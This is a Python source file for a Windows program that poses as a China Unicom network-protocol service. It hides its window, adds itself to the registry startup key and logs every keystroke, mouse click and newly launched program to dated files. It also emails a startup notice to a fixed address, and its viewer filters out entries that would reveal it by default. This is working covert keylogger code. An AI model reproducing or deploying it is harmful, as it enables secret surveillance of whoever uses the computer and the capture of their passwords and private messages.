import tkinter as tk
from tkinter import messagebox, ttk, scrolledtext
import time
import json
import os
import smtplib
from email.mime.text import MIMEText
import sys
from datetime import datetime
import winreg as reg
import threading
from pynput import mouse, keyboard
import win32gui
import win32process
import psutil
import ctypes
from pathlib import Path


class MonitorApp:
    def __init__(self):
        self.root = tk.Tk()
        self.root.withdraw()  # 隐藏主窗口
        self.root.protocol("WM_DELETE_WINDOW", self.on_root_close)

        self.icon_path = "shield_icon.icon"
        self.log_dir = self.get_current_month_dir()  # 日志主目录
        self.log_file = self.get_log_filename()  # 当前日志文件
        self.running = True
        self.last_click_time = 0
        self.double_click_threshold = 0.3  # 双击时间阈值（秒）
        self.last_click_position = (0, 0)
        self.position_threshold = 5  # 双击位置阈值（像素）

        # 加载邮件配置
        self.email_config = self.load_email_config()

        # 确保协议配置文件存在
        self.ensure_protocol_config()

        # 用于记录进程启动时间，追踪双击后新打开的程序
        self.process_snapshot = self.get_running_processes()

        # 检查是否需要运行
        if not self.should_run():
            sys.exit(0)

        # 确保日志目录存在
        self.ensure_log_directory()

        # 创建系统托盘图标
        self.create_tray_icon()

        # 启动键盘鼠标监听
        self.start_listeners()

        # 发送启动通知邮件（仅当配置有效时）
        if self.email_config:
            self.send_startup_email()
        else:
            print("邮件配置无效，无法发送启动通知")

        # 启动主循环
        self.root.mainloop()

    def on_root_close(self):
        """处理主窗口关闭事件"""
        pass  # 阻止主窗口被关闭

    def load_email_config(self):
        """从配置文件加载邮件参数"""
        config_path = "email_config.json"

        # 如果配置文件不存在，创建默认配置文件
        if not os.path.exists(config_path):
            default_config = {
                "sender": "your_email@qq.com",
                "password": "your_authorization_code",
                "receiver": "yehb@qq.com",
                "smtp_server": "smtp.qq.com",
                "smtp_port": 465
            }
            try:
                with open(config_path, 'w', encoding='utf-8') as f:
                    json.dump(default_config, f, ensure_ascii=False, indent=2)
                print(f"已创建默认邮件配置文件: {config_path}")
                print("请编辑该文件配置正确的邮件信息")
            except Exception as e:
                print(f"创建配置文件失败: {str(e)}")
                return None

        # 读取配置文件
        try:
            with open(config_path, 'r', encoding='utf-8') as f:
                config = json.load(f)

            # 验证必要的配置项
            required_fields = ["sender", "password", "receiver", "smtp_server", "smtp_port"]
            for field in required_fields:
                if field not in config:
                    print(f"配置文件缺少必要项: {field}")
                    return None

            return config
        except Exception as e:
            print(f"加载配置文件失败: {str(e)}")
            return None

    def ensure_protocol_config(self):
        """确保协议配置文件存在，不存在则创建默认文件"""
        config_path = "protocol_config.json"

        if not os.path.exists(config_path):
            default_protocol = """中国联通家庭网络服务协议
        """
            try:
                with open(config_path, 'w', encoding='utf-8') as f:
                    json.dump({"protocol_content": default_protocol}, f, ensure_ascii=False, indent=2)
                print(f"已创建默认协议配置文件: {config_path}")
            except Exception as e:
                print(f"创建协议配置文件失败: {str(e)}")

    def should_run(self):
        """判断当前时间是否在允许程序运行的时间段内"""
        now = datetime.now()
        weekday = now.weekday()  # 0-4是周一到周五，5-6是周六周日

        if weekday < 5:  # 周一到周五
            hour = now.hour
            return 16 <= hour < 21  # 下午4点到9点
        else:  # 周六周日
            return True

    def get_current_month_dir(self):
        """获取当前月份的日志目录名（格式：YYYY年MM月）"""
        return datetime.now().strftime("%Y年%m月")

    def ensure_log_directory(self):
        """确保日志目录存在，不存在则创建"""
        if not os.path.exists(self.log_dir):
            try:
                os.makedirs(self.log_dir)
                print(f"已创建日志目录: {self.log_dir}")
            except Exception as e:
                print(f"创建日志目录失败: {str(e)}")

    def get_log_filename(self):
        """获取当前日期的日志文件名（格式：YYYY年MM月DD日.json）"""
        today = datetime.now().strftime("%Y年%m月%d日")
        return os.path.join(self.log_dir, f"{today}.json")

    def create_tray_icon(self):
        """创建系统托盘图标及右键菜单"""
        try:
            import pystray
            from PIL import Image

            # 加载图标
            image = Image.open(self.icon_path)

            # 创建菜单
            menu = pystray.Menu(
                pystray.MenuItem("中国联通网络协议", self.show_protocol),
                pystray.MenuItem("退出中国联通", self.exit_program),
                pystray.MenuItem("网络协议调试", self.show_debug)
            )

            # 创建托盘图标
            self.tray = pystray.Icon("monitor_app", image, "网络监控", menu)
            threading.Thread(target=self.tray.run, daemon=True).start()
        except Exception as e:
            messagebox.showerror("错误", f"无法创建托盘图标: {str(e)}")
            sys.exit(1)

    def show_protocol(self):
        """显示中国联通网络协议（从配置文件读取）"""
        if not self.root.winfo_exists():
            self.root = tk.Tk()
            self.root.withdraw()

        protocol_window = tk.Toplevel(self.root)
        protocol_window.title("中国联通网络使用协议")
        protocol_window.geometry("800x600")

        # 读取协议配置文件
        protocol_config_path = "protocol_config.json"
        try:
            with open(protocol_config_path, 'r', encoding='utf-8') as f:
                config = json.load(f)
            protocol_text = config.get("protocol_content", "未找到协议内容，请检查配置文件")
        except FileNotFoundError:
            protocol_text = "协议配置文件 protocol_config.json 未找到，请确保文件在程序同级目录下"
        except json.JSONDecodeError:
            protocol_text = "协议配置文件格式错误，无法解析"
        except Exception as e:
            protocol_text = f"读取协议失败：{str(e)}"

        text_widget = scrolledtext.ScrolledText(protocol_window, wrap=tk.WORD, padx=10, pady=10)
        text_widget.pack(fill=tk.BOTH, expand=True)
        text_widget.insert(tk.END, protocol_text)
        text_widget.config(state=tk.DISABLED)

    def exit_program(self):
        """退出程序"""
        self.running = False
        self.tray.stop()
        self.mouse_listener.stop()
        self.keyboard_listener.stop()
        if self.root.winfo_exists():
            self.root.destroy()
        sys.exit(0)

    def get_all_month_dirs(self):
        """获取所有日志月份目录"""
        month_dirs = []
        for entry in os.scandir('.'):
            if entry.is_dir():
                # 检查目录名是否符合YYYY年MM月格式
                if len(entry.name) == 8 and entry.name[4] == '年' and entry.name[7] == '月':
                    month_dirs.append(entry.name)
        # 按时间倒序排列
        return sorted(month_dirs, reverse=True)

    def get_day_files_in_month(self, month_dir):
        """获取指定月份目录下的所有日志文件"""
        if not os.path.exists(month_dir):
            return []

        day_files = []
        for entry in os.scandir(month_dir):
            if entry.is_file() and entry.name.endswith('.json'):
                # 提取文件名中的日期部分（去掉.json后缀）
                day_name = os.path.splitext(entry.name)[0]
                day_files.append(day_name)
        # 按时间倒序排列
        return sorted(day_files, reverse=True)

    def clear_treeview(self, tree):
        """清空表格内容"""
        for item in tree.get_children():
            tree.delete(item)

    def load_selected_log(self, month, day, tree, filter_keywords=None):
        """加载选中的日志文件内容到表格，支持过滤"""
        self.clear_treeview(tree)

        if not month or not day:
            return

        log_path = os.path.join(month, f"{day}.json")

        try:
            if os.path.exists(log_path):
                with open(log_path, 'r', encoding='utf-8') as f:
                    data = json.load(f)

                    # 按时间顺序插入（最早的在前面）
                    for idx, entry in enumerate(data, 1):
                        # 检查是否需要过滤
                        if filter_keywords and filter_keywords.strip():
                            # 分割关键字，支持空格分隔
                            keywords = [kw.strip() for kw in filter_keywords.split() if kw.strip()]
                            # 检查是否包含任何一个关键字
                            match = any(keyword in entry['content'] for keyword in keywords)
                            # 如果匹配上，就过滤掉这条记录
                            if match:
                                continue

                        tree.insert("", tk.END, values=(
                            idx,
                            entry['time'],
                            entry['type'],
                            entry['content']
                        ))
            else:
                # 插入空数据提示
                tree.insert("", tk.END, values=("0", "", "提示", f"未找到 {day} 的日志文件"))
        except Exception as e:
            tree.insert("", tk.END, values=("0", "", "错误", f"加载记录失败: {str(e)}"))

    def show_debug(self):
        """显示调试界面（使用表格展示日志）"""
        if not self.root.winfo_exists():
            self.root = tk.Tk()
            self.root.withdraw()

        debug_window = tk.Toplevel(self.root)
        debug_window.title("中国联通网络协议调试")
        debug_window.geometry("1200x700")

        # 创建筛选区域
        filter_frame = tk.Frame(debug_window)
        filter_frame.pack(fill=tk.X, padx=10, pady=5)

        # 月份选择
        tk.Label(filter_frame, text="选择月份:").pack(side=tk.LEFT, padx=5)
        month_var = tk.StringVar()
        month_combo = ttk.Combobox(filter_frame, textvariable=month_var, width=12)
        month_combo.pack(side=tk.LEFT, padx=5)

        # 日期选择
        tk.Label(filter_frame, text="选择日期:").pack(side=tk.LEFT, padx=5)
        day_var = tk.StringVar()
        day_combo = ttk.Combobox(filter_frame, textvariable=day_var, width=15)
        day_combo.pack(side=tk.LEFT, padx=5)

        # 过滤输入框
        tk.Label(filter_frame, text="过滤关键字(空格分隔):").pack(side=tk.LEFT, padx=5)
        filter_entry = tk.Entry(filter_frame, width=50)
        filter_entry.pack(side=tk.LEFT, padx=5)
        # 设置默认过滤关键字
        default_filters = "python FolderView 按下 Chrome 中国联通 运行中的 shieldnetwork 溢出通知"
        filter_entry.insert(0, default_filters)

        # 加载按钮
        load_btn = tk.Button(filter_frame, text="加载日志")
        load_btn.pack(side=tk.LEFT, padx=5)

        # 创建表格框架和滚动条
        table_frame = tk.Frame(debug_window)
        table_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)

        # 垂直滚动条
        vscrollbar = ttk.Scrollbar(table_frame)
        vscrollbar.pack(side=tk.RIGHT, fill=tk.Y)

        # 水平滚动条
        hscrollbar = ttk.Scrollbar(table_frame, orient=tk.HORIZONTAL)
        hscrollbar.pack(side=tk.BOTTOM, fill=tk.X)

        # 创建表格控件
        tree = ttk.Treeview(
            table_frame,
            columns=("序号", "时间", "类型", "内容"),
            show="headings",
            yscrollcommand=vscrollbar.set,
            xscrollcommand=hscrollbar.set
        )

        # 设置列宽和标题
        tree.column("序号", width=80, anchor=tk.CENTER)
        tree.column("时间", width=180, anchor=tk.CENTER)
        tree.column("类型", width=120, anchor=tk.CENTER)
        tree.column("内容", width=800, anchor=tk.W)

        tree.heading("序号", text="序号")
        tree.heading("时间", text="时间")
        tree.heading("类型", text="操作类型")
        tree.heading("内容", text="详细信息")

        tree.pack(fill=tk.BOTH, expand=True)

        # 关联滚动条
        vscrollbar.config(command=tree.yview)
        hscrollbar.config(command=tree.xview)

        # 添加表格样式
        style = ttk.Style()
        style.configure("Treeview", rowheight=25)
        style.configure("Treeview.Heading", font=('微软雅黑', 10, 'bold'))

        # 加载月份列表
        month_dirs = self.get_all_month_dirs()
        month_combo['values'] = month_dirs
        if month_dirs:
            month_combo.current(0)  # 默认选中第一个月份

            # 加载对应月份的日期列表
            def update_days(event):
                selected_month = month_var.get()
                day_files = self.get_day_files_in_month(selected_month)
                day_combo['values'] = day_files
                if day_files:
                    day_combo.current(0)  # 默认选中第一个日期
                    # 自动加载第一个日志
                    filter_keywords = filter_entry.get()
                    self.load_selected_log(selected_month, day_files[0], tree, filter_keywords)

            month_combo.bind("<<ComboboxSelected>>", update_days)
            update_days(None)  # 初始化日期列表

            # 绑定加载按钮事件
            def on_load_click():
                filter_keywords = filter_entry.get()
                self.load_selected_log(month_var.get(), day_var.get(), tree, filter_keywords)

            load_btn.config(command=on_load_click)
            day_combo.bind("<<ComboboxSelected>>", lambda e: on_load_click())

            # 绑定过滤输入框回车事件
            filter_entry.bind('<Return>', lambda e: on_load_click())
        else:
            month_combo['values'] = ["无日志目录"]
            day_combo['values'] = ["无日志文件"]
            tree.insert("", tk.END, values=("0", "", "提示", "暂无日志记录"))

    def get_running_processes(self):
        """获取当前运行的所有进程ID和名称"""
        processes = {}
        for proc in psutil.process_iter(['pid', 'name', 'create_time']):
            try:
                processes[proc.info['pid']] = {
                    'name': proc.info['name'],
                    'create_time': proc.info['create_time']
                }
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                continue
        return processes

    def get_new_processes(self):
        """获取双击后新启动的进程"""
        current_processes = self.get_running_processes()
        new_processes = []

        # 检查当前进程中不存在于之前快照中的进程
        for pid, info in current_processes.items():
            if pid not in self.process_snapshot:
                # 只关注最近1秒内启动的进程
                if time.time() - info['create_time'] <= 1:
                    new_processes.append(info['name'])

        # 更新进程快照
        self.process_snapshot = current_processes
        return new_processes

    def get_window_info(self, hwnd):
        """获取窗口的详细信息"""
        try:
            # 获取窗口标题
            length = win32gui.GetWindowTextLength(hwnd)
            title = win32gui.GetWindowText(hwnd) if length > 0 else ""

            # 获取进程ID
            _, pid = win32process.GetWindowThreadProcessId(hwnd)

            # 获取进程名称
            process_name = ""
            try:
                process = psutil.Process(pid)
                process_name = process.name()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            return {
                'title': title,
                'pid': pid,
                'process_name': process_name
            }
        except Exception as e:
            print(f"获取窗口信息失败: {e}")
            return {'title': '', 'pid': 0, 'process_name': ''}

    def get_desktop_icon_info(self, x, y):
        """获取桌面图标信息"""
        # 获取鼠标位置的窗口句柄
        hwnd = win32gui.WindowFromPoint((x, y))

        # 获取桌面窗口句柄
        desktop_hwnd = win32gui.GetDesktopWindow()

        # 如果点击的是桌面空白处
        if hwnd == desktop_hwnd:
            return "桌面空白处"

        # 获取窗口信息
        window_info = self.get_window_info(hwnd)

        # 优先使用窗口标题（通常是图标名称）
        if window_info['title']:
            return window_info['title']

        # 如果没有标题，尝试获取进程名称
        if window_info['process_name']:
            return f"[{window_info['process_name']}]"

        return "未知图标"

    def start_listeners(self):
        """启动键盘和鼠标监听"""

        # 鼠标事件处理
        def on_mouse_click(x, y, button, pressed):
            if not self.running:
                return False

            current_time = time.time()
            if pressed:  # 只记录按下事件
                # 判断是否为双击
                time_diff = current_time - self.last_click_time
                pos_diff = (abs(x - self.last_click_position[0]),
                            abs(y - self.last_click_position[1]))

                if (time_diff < self.double_click_threshold and
                        pos_diff[0] < self.position_threshold and
                        pos_diff[1] < self.position_threshold):
                    # 获取图标信息
                    icon_info = self.get_desktop_icon_info(x, y)

                    # 延迟检查新进程
                    time.sleep(0.5)
                    new_processes = self.get_new_processes()

                    # 构建记录内容
                    if new_processes:
                        processes_str = ", ".join(new_processes)
                        content = f"{button}键双击: {icon_info}，启动程序: {processes_str}"
                    else:
                        content = f"{button}键双击: {icon_info}"

                    # 记录双击事件
                    self.log_event(
                        event_type="鼠标双击",
                        content=content
                    )

                    # 重置双击检测
                    self.last_click_time = 0
                else:
                    # 处理单击事件
                    icon_info = self.get_desktop_icon_info(x, y)
                    self.log_event(
                        event_type="鼠标点击",
                        content=f"{button}键点击: {icon_info}，位置: ({x}, {y})"
                    )
                    # 更新上次点击信息
                    self.last_click_time = current_time
                    self.last_click_position = (x, y)
            return True

        # 键盘事件处理
        def on_keyboard_press(key):
            if not self.running:
                return False

            try:
                # 普通字符键
                key_str = key.char
                self.log_event(
                    event_type="键盘操作",
                    content=f"按下字符键: {key_str}"
                )
            except AttributeError:
                # 特殊功能键
                key_str = str(key).split('.')[-1]
                self.log_event(
                    event_type="键盘操作",
                    content=f"按下功能键: {key_str}"
                )
            return True

        # 创建监听器
        self.mouse_listener = mouse.Listener(on_click=on_mouse_click)
        self.keyboard_listener = keyboard.Listener(on_press=on_keyboard_press)

        # 启动监听器（后台线程）
        self.mouse_listener.start()
        self.keyboard_listener.start()

    def log_event(self, event_type, content):
        """记录事件到日志文件"""
        # 检查日志目录和文件是否需要更新（跨月或跨天）
        current_month_dir = self.get_current_month_dir()
        if current_month_dir != self.log_dir:
            self.log_dir = current_month_dir
            self.ensure_log_directory()  # 确保新月份目录存在

        current_log = self.get_log_filename()
        if current_log != self.log_file:
            self.log_file = current_log

        # 准备日志数据
        log_entry = {
            "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
            "type": event_type,
            "content": content
        }

        # 读取现有数据
        log_data = []
        if os.path.exists(self.log_file):
            try:
                with open(self.log_file, 'r', encoding='utf-8') as f:
                    log_data = json.load(f)
            except:
                pass

        # 添加新记录
        log_data.append(log_entry)

        # 写入文件
        try:
            with open(self.log_file, 'w', encoding='utf-8') as f:
                json.dump(log_data, f, ensure_ascii=False, indent=2)
        except Exception as e:
            print(f"日志写入失败: {str(e)}")

    def send_startup_email(self):
        """发送启动通知邮件"""
        try:
            # 从配置文件获取参数
            sender = self.email_config["sender"]
            password = self.email_config["password"]
            receiver = self.email_config["receiver"]
            smtp_server = self.email_config["smtp_server"]
            smtp_port = self.email_config["smtp_port"]

            # 邮件内容
            now = datetime.now().strftime("%Y年%m月%d日 %H时%M分%S秒")
            subject = '桌面电脑启动通知'
            content = f'{now}启动了电脑'

            # 发送邮件
            msg = MIMEText(content, 'plain', 'utf-8')
            msg['From'] = sender
            msg['To'] = receiver
            msg['Subject'] = subject

            server = smtplib.SMTP_SSL(smtp_server, smtp_port)
            server.login(sender, password)
            server.sendmail(sender, [receiver], msg.as_string())
            server.quit()
            print("启动通知邮件发送成功")
        except Exception as e:
            print(f"邮件发送失败: {str(e)}")


def add_to_startup():
    """添加程序到系统启动项"""
    try:
        # 获取当前程序路径
        if getattr(sys, 'frozen', False):
            exe_path = sys.executable
        else:
            exe_path = os.path.abspath(__file__)

        app_name = "NetworkMonitor"

        # 打开注册表
        key = reg.OpenKey(
            reg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Windows\CurrentVersion\Run",
            0, reg.KEY_SET_VALUE
        )

        # 设置启动项
        reg.SetValueEx(key, app_name, 0, reg.REG_SZ, exe_path)
        reg.CloseKey(key)
    except Exception as e:
        print(f"添加到启动项失败: {str(e)}")


if __name__ == "__main__":
    # 添加到系统启动项
    add_to_startup()

    # 启动监控程序
    app = MonitorApp()
